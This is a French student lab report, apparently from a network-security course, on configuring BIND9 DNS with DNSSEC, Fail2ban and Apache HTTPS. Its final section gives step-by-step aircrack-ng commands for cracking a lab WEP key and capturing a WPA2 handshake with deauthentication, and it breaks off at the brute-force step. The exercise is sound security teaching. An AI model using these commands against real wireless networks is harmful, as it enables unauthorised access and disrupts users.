==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online :&lt;br /&gt;
[[Fichier:Dnssecrs7.png|centré|vignette|925x925px]]&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
